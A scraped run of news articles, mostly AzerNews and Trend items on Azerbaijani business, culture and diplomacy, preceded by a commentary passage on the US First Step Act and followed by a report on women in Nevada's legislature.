addresses constitute a combined 10 percent of the countrys total incarcerated population, the bulk of which is housed in local jails and, especially, state prisons. That means just a fragment of the nations 181,000 federal inmates would be eligible for the bills already-modest provisions for example, the broader use of halfway houses and home confinement as alternatives to correctional facilities, and the availability of work and education programs inmates can enroll in to earn time credits toward early release. The lives of the roughly 2 million prisoners locked up locally or at the state level will go unaltered. Even some of the bills more galvanizing provisions though undeniably meaningful for the several thousand men and women they would affect are more akin to making good on already existing policy than dramatic overhauls. The punishment disparities for crimes involving crack and powder cocaine that the First Step Act addresses had already been narrowed with the Fair Sentencing Act in 2010, though Tuesdays bill would make its provisions retroactive. The bill also bans the shackling of pregnant inmates which has been banned for a decade, since 2008. These are not meaningless steps, to be sure. But the bills reach is inconsistent with the celebration that has greeted its passage in the Senate. The hero image of the New York Times story on the subject shows Democratic senator Cory Booker of New Jersey embracing Chuck Grassley, the Iowa Republican who played his partys most dogged role in advancing the bill through Congress. This is literally one of the reasons I came to the United States Senate, to get something like this done, Booker said, according to the Times. This is the biggest thing, Grassley said after the vote. Except maybe getting a Supreme Court justice. Todays reform ideas gained traction in the Obama era, when a spate of police killings invigorated a national debate about the criminal-justice systems excesses. [The] African American community got more insistent in its claims, and the Republicans got more reasonable in their own critique and set of concerns about criminal justice, activist and former-Obama adviser Van Jones told the Guardian. That it took years of wrangling and negotiation to secure a compromised echo of an already-modest reform bill Republicans killed in 2016 bodes poorly for the future improvements which many senators already acknowledge are necessary. The First Step Act takes modest but important steps to remedy some of the most troubling injustices within our sentencing laws and our prison system, Democratic senator Patrick Leahy of Vermont said, according to the Washington Post. It is my hope that this bill represents not just a single piece of legislation, but a turning point in how Congress views its role in advancing criminal justice. Indeed, the First Step Act is seen by many as just that: step one toward what reformers hope are more sweeping overhauls to come. But no second step is promised. And the traits that make the bill seem like a political no-brainer namely, that so many senators seem to agree about its necessity across party lines are also traits that invite skepticism regarding its impact and durability. Revolution is not fomented in the gap between Ted Cruz and Joe Manchin on the ideology spectrum. The overhauls needed to actually reverse American mass incarceration are far less broadly palatable than what the current bill proposes. The Acts provisions and corresponding rhetoric reserve most of their generosity for drug offenders, many of them nonviolent, who constitute almost half of the federal prison population. But limiting leniency to people convicted of nonviolent crimes unless you, like Tom Cotton, believe that selling cocaine is a violent crime does nothing for the 54 percent of state inmates who are incarcerated for acts of violence. Solving a 2.2 million-person problem is impossible if you view nearly a million of them as untouchable especially when even officials who backed the bill deny more significant changes to the system are needed. I dont think our justice system is fundamentally broken, unjust, or corrupt, First Step Act co-sponsor and Republican senator Mike Lee of Utah wrote for the National Review in November. I know from experience that dangerous criminals exist individuals who are incapable of or uninterested in rehabilitation and change. Considering how joyously the bills passage was received on Capitol Hill this week, Lees insinuation that fundamental change is unnecessary may seem a minor smudge on an otherwise triumphal narrative. In reality, it lays bare what a fragile foundation the First Step Act actually rests on. Partisan rancor made its passage seem unlikely. But the same fears, biases, and political considerations that rendered it relatively toothless threaten to undermine whatever incremental gains secured. The American electorate is far from immune to strongman politics or fear-mongering around crime the election of Donald Trump confirmed that. Law and order crackdowns have historically transcended partisan differences, uniting presidential administrations from Lyndon Johnsons to Ronald Reagans and Bill Clintons. The trip from Joe Biden to Tom Cotton is perilously short. It only takes one crisis, or shift in public opinion, to drive America back into mass incarcerations heyday. By Leman Mammadova The Black Sea Trade and Development Bank (BSTDB) may allocate about 80 million euros for projects in Azerbaijan in 2019, Bank's President Dmitry Pankin told Trend. He mentioned that the relevant projects are already being prepared, saying the bank has a rather long history of relations with local companies and banks, and now negotiations are also underway with several banks on new financing. He also added that this will mainly be the financing of small and medium-sized enterprises (SMEs). The Bank earlier reported that it is planning to allocate about 48 million euros for projects in Azerbaijan in 2018. The Banks country strategy for Azerbaijan covering 2019-2022 is currently being prepared. In 2017, 93.12 million euros were allocated to Azerbaijan, and contracts worth 91.1 million euros were signed. The total number of Bank's operations in Azerbaijan is 39 with the financing in the amount of about 366 million euros. At present, the authorized capital of the bank is 3.45 billion and the share capital is 2.3 billion euros. Azerbaijan has five percent share capital and is the seventh largest shareholder of 11 member countries. BSTDB was founded by Azerbaijan, Albania, Bulgaria, Georgia, Greece, Moldova, Armenia, Romania, Turkey, Ukraine and Russia in 1999. BSTDB supports economic development and regional cooperation, participates in granting loans for projects in the public and private sectors of member countries, opening credit lines, investing in and granting guarantees and trade financing. Azerbaijan assumed the BSEC chairmanship until December 2018 at the 38th meeting of the Organization's Council of Foreign Ministers, which took place on June 27. Recently, the 39th meeting of the Council of Foreign Ministers of the Organization of the Black Sea Economic Cooperation member-states took place in Baku under the chairmanship of Azerbaijan. In general, during Azerbaijans chairmanship, four ministerial meetings were held, including a meeting at the level of foreign ministers, 21 thematic meetings of the working group and an ad hoc working group. The action plans of a number of working groups (tourism, ICT, energy) were adopted. More than 10 meetings of the bodies of the organization, workshops and other events were held. Moreover, the corresponding assessment documents were prepared to improve the efficiency of the organization. Moreover, during Azerbaijans chairmanship, the discussions were underway to complete the work on the project "Regional Trade Facilitation Strategy for the BSEC Region" and the project "BSEC Single Window Cooperation". After Azerbaijan, the chairmanship will be transferred to Bulgaria. The Organization of the Black Sea Economic Cooperation is an intergovernmental organization uniting 12 countries of the Black Sea and southern Balkans. The headquarters of the organization is located in Istanbul. --- Follow us on Twitter @AzerNewsAz Azercell LLC, the company which always supports the projects towards recruitment and career achievements of the youth in the country, joined the next Career Fair. The company stood out for its active participation in the event organized in Azerbaijan Technical University. Azercells representatives held information sessions for graduates and briefed the visitors about active vacancies in the company. They also instructed about the recruitment process and the Student Scholarship and Internship Programs at Azercell and answered a number of questions of the career fair visitors. The students also got an opportunity to be informed about the existing demand for their field of specialization in labor market, build up first relations with employers while the latter had a chance to shortlist potential employees. Notably, Azercell Telecom LLC keeps close cooperation with various universities of Azerbaijan. In fact, the company signed the cooperation memorandums with Baku State University, Khazar University, Azerbaijan State Oil and Industry University, Azerbaijan Technology University in Ganja and Lankaran State University. In the framework of this cooperation, a lot of projects are carried out towards students professional improvement, their involvement in the fields of innovation and entrepreneurship, development of scientific-technical and academic basis of universities. Under the Student Scholarship program of the company, capable youth studying at Azerbaijani universities get a great opportunity to receive a special scholarship from Azercell and take an internship at various divisions of the company. Support of the education and youth in the country will remain as the priority field of Azercell. For more information, please contact [email protected] The leader of the mobile communication industry, the largest taxpayer and the biggest investor of the non-oil sector of Azerbaijan Azercell Telecom LLC was founded in 1996. With 48 per cent share of Azerbaijans mobile telecom market Azercells network covers 80 per cent of the territory (excluding 20% per cent of the occupied territories) and 99,8 per cent of population of the country. Currently, 4,5 million subscribers choose Azercell services. Azercell has pioneered an important number of innovations in Azerbaijan, including GSM technology, advance payment system, mobile internet services, Metro coverage, 24/7 call centre service, 7 day/week Front Office service, M2M services, one-stop-shopping approach Azercell Express offices, mobile customer services, Online Customer Care and Social Media Customer Care services, mobile e-signature service ASAN Imza etc. Azercell deployed first 4G LTE services in Azerbaijan in 2012. According to the results of mobile network quality and wireless coverage mapping surveys by international systems, Azercells network demonstrated the best results among the mobile operators of Azerbaijan. Azercell is the only company in Azerbaijan and CIS region which has been awarded Gold Certificate of International Investors in People Standard. --- Follow us on Twitter @AzerNewsAz By Narmina Mammadova Azerbaijan pays special attention to the development of small and medium-sized businesses. Thus, the country is involved in the process of stimulation their business activities. Representatives of the Agency for the Development of Small and Medium-Sized Enterprises (SMEs) (KOBIA) of Azerbaijan were on a visit to the UK. The Chairman of the Board of the Agency, Orhan Mammadov, held a series of meetings with the heads of the functional units of the European Bank for Reconstruction and Development (EBRD), the Agency said. At a meeting with the head of the EBRD Small and Medium Business Development Program, Nadya Petkova, information on KOBIA activities was provided, issues on cooperation between the EBRD and KOBIA, implementation of programs envisaged to support and finance start-ups in Azerbaijan, and small and medium businesses based on international best practice were discussed. An exchange of views on projects, implemented by the Bank for the development of small and medium-sized businesses in Azerbaijan, was held at meetings with the authorized representatives of the EBRD Project Preparation Fund and the EBRD Legal Transformation Program, Matthew Jordan and Michel Nussbaumer. They also touched upon the issues of new areas of cooperation prepared by the EBRD in relevant fields for the future. As a result of discussions, such areas of cooperation as exploring potential collaboration opportunities in the development of entrepreneurship, integration of the Azerbaijani Agency into the EBRD's global small and medium business network, preparation of projects within the framework of a partnership in the state-private sector, the use of technical support mechanisms for the development of small and medium businesses by the Bank were identified. Small and medium-sized businesses play an important role in development of the country's economy. The Agency for Small and Medium Business Development of Azerbaijan was established on the basis of the decree on improvement of management in the field of small and medium-sized businesses signed by President Ilham Aliyev in December 2017. The task of the Agency is to ensure the consistency of reforms, as well as the improvement of the business regulation system and the application of effective coordination, enhancing the role and competitiveness of small and medium-sized businesses in the country's economy, and the compliance of the management system of this sphere with modern requirements. As a single structure with special powers, through the Houses of SMEs, the Agency organizes, coordinates, evaluates and regulates the services rendered by state agencies and organizations in this area. --- Follow us on Twitter @AzerNewsAz By Narmina Mammadova Azerbaijan pays special attention to the development of small and medium-sized businesses. Thus, the country is involved in the process of stimulation their business activities. The Agency for the Development of Small and Medium-Sized Enterprises (SMEs) (KOBIA) of Azerbaijan decided to expand cooperation by signing relevant documents and holding meetings with EBRD and BP. Representatives of the Agency for the Development of Small and Medium-Sized Enterprises (SMEs) (KOBIA) of Azerbaijan were on a visit to the UK. The Chairman of the Board of the Agency, Orhan Mammadov, held a series of meetings with the heads of the functional units of the European Bank for Reconstruction and Development (EBRD), the Agency said. At a meeting with the head of the EBRD Small and Medium Business Development Program, Nadya Petkova, information on KOBIA activities was provided, issues on cooperation between the EBRD and KOBIA, implementation of programs envisaged to support and finance start-ups in Azerbaijan, and small and medium businesses based on international best practice were discussed. An exchange of views on projects, implemented by the Bank for the development of small and medium-sized businesses in Azerbaijan, was held at meetings with the authorized representatives of the EBRD Project Preparation Fund and the EBRD Legal Transformation Program, Matthew Jordan and Michel Nussbaumer. They also touched upon the issues of new areas of cooperation prepared by the EBRD in relevant fields for the future. As a result of discussions, such areas of cooperation as exploring potential collaboration opportunities in the development of entrepreneurship, integration of the Azerbaijani Agency into the EBRD's global small and medium business network, preparation of projects within the framework of a partnership in the state-private sector, the use of technical support mechanisms for the development of small and medium businesses by the Bank were identified. Meanwhile, a ceremony of signing a memorandum of understanding between the Azerbaijani Agency for Development of Small and Medium-Sized Enterprises and BP was held in Baku on December 20. BP and partners are interested in increasing the number of Azerbaijani companies participating in their projects in the region, BP Azerbaijan Communications, External Affairs, Strategy and Region Vice President Bakhtiyar Aslanbayli said at the event. The memorandum envisages support for the development of small and medium-sized businesses in the country, he said. Aslanbayli also touched upon the entrepreneurship development program, which has been implemented since 2007. The main goal of the program is to give impetus to the development of entrepreneurship in the country, he added. Thus, 2,000 small and medium-sized businesses used the program. Speaking about the Azerbaijani Agency for Development of Small and Medium-Sized Enterprises, Aslanbayli said that the agency managed to achieve success in the short time since its launch. Small and medium-sized businesses play an important role in development of the country's economy. The Chairman of the Board of the Azerbaijani Agency for Development of Small and Medium-Sized Enterprises, Orkhan Mammadov, stressed that the Agency appreciates the cooperation with BP, which throughout its activity in Azerbaijan has given impetus to sustainable development in the country not only in the energy sector, but also in the development of small and medium-sized businesses. The Agency for Small and Medium Business Development of Azerbaijan was established on the basis of the decree on improvement of management in the field of small and medium-sized businesses signed by President Ilham Aliyev in December 2017. The task of the Agency is to ensure the consistency of reforms, as well as the improvement of the business regulation system and the application of effective coordination, enhancing the role and competitiveness of small and medium-sized businesses in the country's economy, and the compliance of the management system of this sphere with modern requirements. As a single structure with special powers, through the Houses of SMEs, the Agency organizes, coordinates, evaluates and regulates the services rendered by state agencies and organizations in this area. --- Follow us on Twitter @AzerNewsAz By Trend The Supervisory Board of the State Oil Fund of Azerbaijan (SOFAZ) held a meeting chaired by Azerbaijans prime minister, head of the SOFAZ Supervisory Board, Novruz Mammadov, where the draft budget of the Fund for 2019 was discussed, Trend reports with reference to SOFAZ. The Supervisory Board reviewed the draft budget of SOFAZ for 2019, considering the findings of the Chamber of Accounts of Azerbaijan, including the information provided by Executive Director of SOFAZ on the Funds management-related expenditures. At the meeting, it was considered expedient to determine SOFAZ budget revenues in 2019 at the level of 15,450.1 million manats, expenditures at 11,595.2 million manats, including SOFAZ management-related expenditures worth 30.9 million manats. Following the discussions, the draft SOFAZ budget, including the draft guidelines for the use of funds (including investment policy), and estimates of the SOFAZ annual expenditures for managing funds, together with the conclusion of the Chamber of Accounts, were recommended for submitting to the Azerbaijani president for approval. At the meeting, amendments to the Rules for Storage, Placement and Management of SOFAZ Currency Funds, recommended for submitting for approval to the Azerbaijani president, were adopted. --- Follow us on Twitter @AzerNewsAz By Laman Ismayilova A documentary about great Azerbaijani composer was presented in Baku. The film was screened at the Nizami Cinema Center on December 19, Trend Life reported. The film was shot by DIWI TV Company (Russia) by order of the Azerbaijani Ministry of Culture in accordance with the decree of President Ilham Aliyev on the 100th anniversary of the outstanding national composer. In his speech, actor of the Azerbaijan State Russian Drama Theater Oleg Amirbekov stressed that during the whole 2018 the 100th anniversary of the outstanding Azerbaijani composer, Peoples Artist of the USSR Gara Garayev was widely celebrated throughout the world. The jubilee events were held not only in Azerbaijan, but also in other countries including U.S., France, Germany, Russia, Turkey, Austria, Romania, Poland, Hungary, Sweden, Ukraine, Kazakhstan, Kyrgyzstan and Uzbekistan. Throughout 2018, the music of Gara Garayev sounded on the most prestigious French music channel Mezzo and received favorable reviews from the world music community. It was noted that the premiere of the film "Gara Garayev. Life Path" was held on the Russian TV channel Culture in November. Then the film crew of the documentary was invited to the stage - scriptwriter was Nina Smirnova, operator-director - Dmitry Novoselov, executive producer - Dmitry Dulov and producer - Vera Ilyina. "We all felt a great responsibility all the time. We want to thank the creators of documentary films about Gara Garayev who were shot before us, and fragments of which were included in the film "Gara Garayev. Life Path", especially the director of the remarkable documentary "This is the truth" Oktay Mirgasimov", said Dulov. He also stressed that the work on the film was not easy. "But I truly believe that it is impossible to create something really great and meaningful without challenges and Gara Garayev often told it," he added. As the scriptwriter Nina Smirnova noted, while working on the film, the film crew met a lot of people. "Our heroes talked about Gara Garayev, and spoke only words of admiration. Before working on the film, I knew about Gara Garayeva's creativity, because I have a musical education, and being a student, I studied the creativity of Gara Garayeva," said Smirnova. The film "Gara Garayev. Life Path" includes the memoirs of the composer himself, as well as interviews of his students, colleagues and relatives. The film is directed by Andrey Sudzilovskiy. The documentary features Azerbaijani Ambassador to Russia, Peoples Artist of Azerbaijan Polad Bulbuloglu, Peoples Artist of the USSR Tahir Salahov, Chairman of the Azerbaijan Union of Composers, Peoples Artist of Azerbaijan Firangiz Alizade, Polish composer, pianist Krzysztof Meyer, Russian pianist and conductor Maxim Shostakovich, as well as mother of Gara Garayev - Sona Ahundova, children of the composer - People's Artist of Azerbaijan, composer Faraj Garayev and professor Zuleikha Garayeva-Bagirova. Having synthesized Eastern and Western musical traditions, his works cover essentially all genres. The works by Gara Garayev are performed all over the world. Garayev inherited his love of music from his parents. His father Abulfaz Garayev was a famous pediatrician in Baku. Abulfaz Garayev was known for his kindness and generosity. When patients were too poor to pay for treatment, he often left money under the prescription that he had written out for them. He knew Azerbaijani folk music very well and loved to sing. Garayev's mother, Sona Khanim, was among the first graduates of the Music School, the Baku branch of the Russian Music Society. At the age of eight, Garayev first entered the junior music school at the Azerbaijan State Conservatoire. His exceptional musical talents let him to study simultaneously in two faculties at the conservatoire. His teachers were Georgi Sharoyev, Leonid Rudolf, and the prominent Azerbaijani composer Uzeyir Hajibeyli. In 1938, Garayev composed his first musical piece, a cantata "The Song of the Heart" to the poem by Rasul Rza. It was performed in Moscow's Bolshoi Theater in the same year. He was only 20 years old at the time. Garayev returned to Baku in 1941. He began teaching students at Azerbaijan State Philharmonic Society. In 1945, both he and Jovdat Hajiyev wrote the "Motherland" opera, for which they were awarded a prestigious Stalin Prize. At the age of 30, Garayev was again awarded this prize for his symphonic poem "Leyli and Majnun", based on the same-titled famous work of Nizami Ganjavi. In 1952, under the direction of the choreographer P. A. Gusev, Garayev's "Seven Beauties" ballet was staged at the Azerbaijani Theater of Opera and Ballet. Based on Nizami Ganjavi's famous poem, "Seven Beauties", it became the first Azerbaijani ballet and opened a new chapter in the history of classical music of Azerbaijan. His ballet, "Path of Thunder", staged in 1958, was dedicated to racial conflicts in South Africa. In the same year, he wrote the score for the documentary film" A Story About the Oil Workers of the Caspian Sea", directed by Roman Karmen and set at the Oil Rocks. Through his life, Garayev wrote nearly 110 musical pieces, including ballets, operas, symphonic and chamber pieces, solos for piano, cantatas, songs and marches, and rose to prominence not only in Azerbaijan, but also worldwide. He brilliantly juxtaposed features of Mugham with jazz, blues, African music, European counterpoint styles, and developments related to the 20th century Western music such as the 12-tone technique. Garayev died on May 13, 1982 in Moscow at the age of 64. The composer has left a legacy of music that will be felt for generations to come. The memory of great composer will always live in the hearts of Azerbaijani people. President Ilham Aliyev signed an order on October 17 to mark the 100th jubilee of the legendary Azerbaijani composer. The Ministry of Culture and Tourism, the Ministry of Education and the Azerbaijan National Academy of Sciences, are tasked to prepare and execute an action plan for the jubilee in consideration of proposals of the Union of Composers. --- Laman Ismayilova is AzerNews staff journalist, follow her on Twitter: @Lam_Ismayilova Follow us on Twitter @AzerNewsAz By Laman Ismayilova The memory of the brilliant theater and cinema actress Amalia Panahova will be honored at International Mugham Center on January 16. The event is organized as part of "Word" (Soz) literary and artistic project, Trend Life reported. Actors of the Baku Municipal Theater, which was created by the People's Artist of Azerbaijan are among the event participants. Over the 50 years People's Artist of Azerbaijan, laureate of the State Prizes of the USSR and Azerbaijan, holder of the Shohrat and Sharaf Orders Amalia Panahova has played many exciting characters. Her creative activity started in 1966 when she graduated from the Azerbaijan State Theater Institute (Azerbaijan State University of Culture and Arts). Characters played by the actress, including Tomris, Khurshidbanu Natavan, Mahsati Ganjavi, Medea, Burla Khatun and others are included in the golden fund of Azerbaijan's art. More than 500 roles in theater and cinema, as well as staging about twenty performances as a director speak for themselves. Amalia Panahova was also actively engaged in public activities. She served as the chairperson of the CIS Inter-parliamentary Assembly on culture, information, tourism and sport. The other side of Amalia Panahovas talent is her great organizational skills. Having created the Baku Municipal Theater, she united two generations of talented actors. Peoples Artist of Azerbaijan Amalia Panahova died on November 8, 2018, at the age of 74. --- Laman Ismayilova is AzerNews staff journalist, follow her on Twitter: @Lam_Ismayilova Follow us on Twitter @AzerNewsAz By Laman Ismayilova K-pop band BTS is famous worldwide and Azerbaijan is no different. The boy band is bringing their concert from Love Yourself tour to a local cinema theater. BTS World Tour: Love Yourself concert will be screened at Park Cinema Flame Towers on January 26. Tickets for a documentary starring world-famous BTS have been already sold. Over 25,000 tickets were sold out on the first day of sales in Azerbaijan and the CIS countries, Trend Life reported. Tickets will also go on sale in Dolby Atmos hall at Park Cinema Metropark. So, get ready to enjoy your favorite songs in the highest sound quality. BTS World Tour: Love Yourself is the third worldwide concert tour headlined by South Korean band BTS to promote their Love Yourself series, including their Love Yourself: Her EP, Love Yourself: Tear studio album, and Love Yourself: Answer compilation album. The tour began on August 25, 2018 in South Korea and is set to visit 12 countries thus far, including Japan, United States, Canada, United Kingdom, France, Netherlands, Germany, Taiwan, Hong Kong, Singapore and Thailand. The event will bring their fans together to celebrate the K-pop sensation. --- Laman Ismayilova is AzerNews staff journalist, follow her on Twitter: @Lam_Ismayilova Follow us on Twitter @AzerNewsAz By Abdul Kerimkhanov The long-term efforts of Moscow and the OSCE Minsk Group on the Karabakh conflict settlement are aimed primarily at creating conditions for negotiations. A sufficient number of meetings took place both with the participation of the presidents and with the participation of the ministers of foreign affairs, at which ways of solving this problem were discussed. However, no progress in resolving the Nagorno-Karabakh conflict has yet been observed. Further settlement of the Nagorno-Karabakh conflict will be based on creative ideas, Russian Foreign Ministry spokeswoman Maria Zakharova said at a weekly briefing, answering a question about finding ideas enabling to shape a new basis for talks between Baku and Yerevan. Zakharova explained that during the meeting, Lavrov and Aliyev talked about the future of the Nagorno-Karabakh settlement after the legitimate authority was finally changed and confirmed in Armenia. Such ideas should be developed in the future and they should be creative, she said. She underlined that active work is underway to form such ideas. The creative ideas will be supported and now experts are doing this, Zakharova concluded. Minister Sergey Lavrov voiced a week ago necessity to search for ideas enabling a new basis for talks between Baku and Yerevan after the talks with Azerbaijani President Ilham Aliyev. We felt his sincere disposition to resume negotiations, to look for constructive solutions, he said. He stressed that Russia is a close partner of Azerbaijan and Armenia and as co-chair of the OSCE Minsk Group, will do everything to create the necessary conditions to reach a compromise. Lavrov also expressed his hope that after the formation of a new government, the Armenian side will be ready to resume the negotiation process. Answering the questions of reporters in Baku, he said Azerbaijan is sincerely committed to continue negotiations on the settlement of the Karabakh conflict. The Caucasus has extremely important geopolitical significance for Russia. In strategic terms, Azerbaijan is undoubtedly more significant for Russia than Armenia. Therefore, an early resolution of the Nagorno-Karabakh conflict should be in the interests of both Azerbaijan and Russia. Azerbaijan keeps its stance in Nagorno-Karabakh conflict resolution unchanged. Any option for solution of the conflict should be based on the principle of the territorial integrity of Azerbaijan. UN resolutions must be implemented, the Armenian army must leave the occupied Azerbaijani lands and more than 1 million Azerbaijani citizens must return their native lands. As soon as the territorial integrity of Azerbaijan is restored, the government can grant people living in Nagorno-Karabakh a high status of autonomy within the territory of Azerbaijan. --- Abdul Kerimkhanov is AzerNews staff journalist, follow him on Twitter: @AbdulKerim94 Follow us on Twitter @AzerNewsAz By Narmina Mammadova Norways Equinor will start 2D-3D seismic survey at Azerbaijans Ashrafi-Dan Ulduzu-Aypara structures in March 2019, the Environmental Impact Assessment (EIA) for 2D-3D seismic survey in the Ashrafi-Dan Ulduzu-Aypara (ADUA) exploration area says. This document presents the results of the Environmental Impact Assessment (EIA) undertaken for the 2 and 3- dimensional (2D and 3D) marine seismic acquisition survey program, proposed by Statoil Azerbaijan in the the Ashrafi-Dan Ulduzu-Aypara (ADUA) exploration area in Azerbaijan. The 2D-3D seismic survey is expected to start mid-march 2019 (subject to vessel availability) and will have an approximate duration of 42 to 45 days. The proposed 2D and 3D seismic exploration survey is tentatively scheduled to begin in mid-March 2019 (depending on vessel availability). Depending on the equipment configuration and the weather conditions, the expected duration of the survey is approximately 42-45 days of acquisition (8-9 days for 2D and 34-36 days for the 3D program), running an uninterrupted schedule of 24 hours a day and 7 days per week. A reasonable amount of weather standby and technical downtime has been included in the time estimate, but not the mobilization time which is expected to be 4-7 days. The order of the 2D acquisition and 3D acquisition will be decided once vessel availability is confirmed, taking into account technical, logistical and environmental considerations to ensure minimal impact on the environment, the document reports. Norways Equinor and Azerbaijans SOCAR have signed a Risk Service Agreement (RSA) related to the appraisal and development of the Karabakh oilfield and a Production Sharing Agreement (PSA) for the Ashrafi, Dan Ulduzu, Aypara area on May 30, 2018. On July 5, Azerbaijani President Ilham Aliyev approved these agreements. The first agreement is a risk-service agreement on the Karabakh field in the Azerbaijani sector of the Caspian Sea, while the second agreement - a production sharing and exploration agreement on the Dan Ulduzu, Ashrafi and Aypara promising structures. The agreements envisage a 50/50 share distribution. The first agreement was signed among SOCAR, Statoil Azerbaijan Karabakh BV (Statoil) and SOCAR Karabakh LLC (SOCAR Karabakh), and the second one - among SOCAR, Statoil Azerbaijan Ashrafi Dan Ulduzu Aypara BV ("Statoil") and SOCARs affiliated company. The Karabakh oil and gas field, discovered in 2000, is located 130 kilometers to the east of Baku. The sea depth in the field varies in the range of 250-450 meters. The initial oil reserves of the field are estimated at 100 million tons. The recoverable reserves of the Karabakh field are estimated at 16 million tons of oil and 28 billion cubic meters of gas. The sea depth in the area of the field is 180 meters. The initial oil reserves of the Karabakh oil and gas field, discovered in 2000, amount to 100 million tons. SOCAR operates Karabakh fields development. An exploration well on the Karabakh field is planned to be drilled in 2018. The company expects to receive the first reserves from the field in 2021. The contract for developing Ashrafi Dan Ulduzu block of structures, signed in 1997 between SOCAR (20 percent), BP (30 percent), Unocal (25.5 percent), Itochu (20 percent) and Delta HESS (4.5 percent), lost validity on March 7, 2000. Hydrocarbon reserves in the amount of 20-40 million tons were discovered at the Ashrafi field. The ADUA exploration area is located around 50 kilometres east of Baku, around 14 kilometers to the east of Azerbaijan mainland (Absheron peninsula), and approximately 7 kilometers to the east of Pirallahi Island and Chilov Island in water depths varying between 20 and 225 meters. As per the PSA, Statoil Azerbaijan will be the operator of these activities and thus responsible for the planning and execution of the 2D-3D seismic survey, which will comprise a minimum of approximately 500 full fold km2 of 3D seismic data, and a minimum of approximately 800 full fold km2 of 2D seismic data. --- Follow us on Twitter @AzerNewsAz The Nevada legislature breaks a glass ceiling. Photo: Lance Iversen/AP/REX/Shutterstock A couple of postelection appointments to vacant positions in the Nevada State Assembly included one in which criminal defense lawyer Rochelle Thuy Nguyen succeeded Chris Brooks as a Democrat representing Clark County. That officially gave the state a historic landmark, as the New York Times noted: [W]omen will hold 32 of 63 seats in the Nevada Legislature when the next session begins in February, about 51 percent. No state house in history had ever crossed the 50 percent mark. New Hampshire previously had majority women representation in the state Senate, but women were not the overall majority in the Capitol. Though no other state had a dramatic breakthrough like Nevadas, the National Conference of State Legislatures reports broad-based increases in the number of women elected as lawmakers this year: NCSLs preliminary analysis suggests that at least 2,073 women will occupy seats in the 50 state houses, an increase of more than 190 than during the 2018 session. The nationwide share of female legislators will be around 28.1 percent, nearly 3 percentage points higher than in 2018. There hasnt been an increase in the share of women this large since another significant election: 1992, also deemed the Year of the Woman. That was when the nationwide percentage of elected women jumped from 18.4 to 20.5 percent. Among the states that will have the highest percentages of women in 2019, in addition to Nevada, are Colorado, Oregon, Vermont, Alaska, Arizona, Maine and Washington. These election results reflected a big jump in the number of women running for office at all levels. Debbie Walsh of the Center for American Women and Politics summed it up succinctly: After decades of stagnation in the number of women running for and holding state legislative seats, passing this milestone [in Nevada] makes the gains of 2018 all the more significant, and it shows once again that if we have the candidates, we can get the officeholders. This year we had the candidates. According to CAWP, Democrats outnumber Republicans by a more than two-to-one margin (1,431 to 660) among the women who will be serving in state legislatures in 2019. Nevada also has two Democratic women representing the state in the U.S. Senate, one of six states with all-women Senate delegations. And Nevada kept its four-member House delegation gender equal, with Susie Lee succeeding Jacky Rosen in the Third Congressional District as Rosen ascended to the Senate. By Trend The regulations on sulphur content of shipping fuels will be approaching and will reduce the demand for heavy fuel oil, Robin Mills, the CEO of Qamar Energy in Dubai, told Trend, commenting on main factors that will affect the oil market next year. He pointed out that more US shale oil can be expected to reach the market; demand is uncertain and depends on the global economic outlook; Iranian sanctions may take more oil off the market; and there is a growing disconnect between the increased supply of light oil and the demand for heavy/medium oils to produce diesel. "Rising US shale oil production has been able to offset the loss of oil from Iranian sanctions and decline in Venezuela. OPEC cuts also provide some buffer of spare capacity to be returned to the market if required. The US will seek to tighten sanctions on Iran in 2019 after granting 180-day waivers to select importers in November 2018. Increased production from Saudi Arabia, Russia and others will be required to offset this, if demand remains strong," added the expert. Further, speaking about the recent fall in oil prices despite the announcement of Saudi Arabia to decrease its oil production by 500,000 barrels per day and the expected decline of oil supply by Iran, Mills noted that the price fell because of an expectation of very strong US shale oil supply, more negative demand outlook, and because of the waivers on US sanctions on Iran granted by the US in November. Also Saudi Arabia had sharply increased production since the middle of 2018, he added. US President Donald Trump declared Washingtons withdrawal from the nuclear deal with Iran in May 2018. Trump also announced the restoration of all sanctions against Iran, including secondary ones against other countries doing business with Iran. The United States re-introduced part of the sanctions against Iran on August 7, while the second batch of the sanctions came into effect on Nov.5. The US government has agreed to let eight countries, including South Korea and Japan, as well as India, keep buying Iranian oil after it reimposes sanctions on Tehran. The waivers have been granted for six months. --- Follow us on Twitter @AzerNewsAz By trend The report is sent to you on a daily basis. nineteen. As a part of the rescue team, they were evacuated due to a heavy storm. Number of offices in Istanbul's Beylikduzu district. It was six people who were evacuated due to the fact that it was flooded by the city of Arnavutkoy district. Earlier, sea voyages were canceled. --- Follow us on Twitter @AzerNewsAz By Trend Iran's private sector looks to get involved in doing reconstruction projects in Syria, which are estimated to need some $600 billion worth of investment. "The estimates show that the reconstruction of Syria requires some $600 billion, while some 150 billion is needed for reconstruction of houses," Iran's minister of Roads and Urban Development Amir Amini said, Trend reports via ILNA. Amini also noted that Iran's government wouldn't allocate public resources to Syria's reconstruction projects. "Iran's investment in foreign countries should be according to their regulation", he added. On the other hand, Iran's private sector is already getting involved. Amini said that the private sector is investing in different fields there, including supply of construction materials (specially cement) in Syria. "There are good investment opportunities in Syria and the only problem is the weak communication between investors and the Syrian government," he said. "The investments are not allocated from public sources, in these projects, Iran have signed protocols and long term memorandum of understanding that are to be signed by Syrian government, so the Iranian private sector can invest separately in Syria," he explained. Amini mentioned the presence of Russian investors in Syria's reconstruction projects. "Although Russians are present there as well, Syria has close tendency toward Iran due to common thoughts and religion. "Iran's government would introduce the private sector to Syrian government. During recent official trips to Syria representatives of private sector have accompanied the Iranian government representatives," he said. "The Khatam-al Anbiya Construction Headquarters - an Iranian engineering firm controlled by the Iranian Revolutionary Guard Corps - would also be present in Syria as an investor," he added. "Iranian contractors have also entered Iraq and Turkmenistan markets. Several transportation projects have been initiated in these countries through Iranian investments," he added. --- Follow us on Twitter @AzerNewsAz By Trend It is predicted that the annual trade of the Economic Cooperation Organization (ECO) countries will rise up to $10 billion. "In order to raise their trade to $120 billion in 2025, it is predicted that the ECO countries will increase their annual trade to $10 billion," Trend reports as IRNA cited ECO Secretary General Hadi Soleimanpour. He noted that the rise in trade can be implemented through the Economic Cooperation Organization Free Trade Agreement or ECOTA. The official indicated the efforts to connect main corridors of the ECO countries through railways. The ECO members plan to develop digital communications as well. "In transport and communications sector, a program to expand digital connections will be proposed to members," Soleimanpour said. --- Follow us on Twitter @AzerNewsAz By Abdul Kerimkhanov Although eight months have passed since transfer of 11,000 hectares under the complete control of the Azerbaijani units on the Nakhchivan-Armenian border, the story continues to shake the Armenian society. Official circles of Armenia cannot be determined with a single position on this issue. A part refutes everything, another part acknowledges serious losses, and the public does not know who to believe. 